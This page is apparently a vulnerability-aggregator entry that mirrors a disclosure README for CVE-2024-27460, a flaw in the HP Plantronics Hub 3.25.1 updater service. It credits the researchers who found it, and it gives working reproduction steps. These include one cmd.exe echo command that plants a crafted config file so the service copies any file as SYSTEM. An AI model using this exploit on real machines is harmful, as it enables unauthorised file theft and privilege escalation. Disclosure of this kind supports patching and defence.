CVE-2024-27460 PoC — HP Plantronics Hub 安全漏洞

Source

https://github.com/Alaatk/CVE-2024-27460

Associated Vulnerability

Title: HP Plantronics Hub 安全漏洞 (CVE-2024-27460)
Description:A privilege escalation exists in the updater for Plantronics Hub 3.25.1 and below.

Description

HP Plantronics Hub 3.2.1 Updater Privilege Escalation

Readme

# CVE-2024-27460
HP Plantronics Hub 3.25.1 Updater Privilege Escalation/Arbitrary File Read

### Description:
HP Plantronics Hub 3.25.1 suffers from a bug that allows low privileged users to perform arbitrary file read as SYSTEM on the machine where the application is installed. Moreover, it is possible to abuse this flaw to escalate privileges to the SYSTEM user.
 
### Affected versions
HP Plantronics Hub 3.25.1

### Impacted service(s)
Insecure Path:
"C:\ProgramData\Plantronics\Spokes3G"

Service:
PlantronicsUpdateService

### Steps to reproduce (POC):
- Open cmd.exe
- Navigate using cd C:\ProgramData\Plantronics\Spokes3G
- echo ^|^|\<FULL-PATH-TO-YOUR-DESIRED-FILE\>^|> MajorUpgrade.config
- Desired file will be copied into "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", which any authenticated user has access to.

### Discovered by: 
* Farid Zerrouk of Deloitte Belgium
* Alaa Kachouh of Mastercard Europe

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →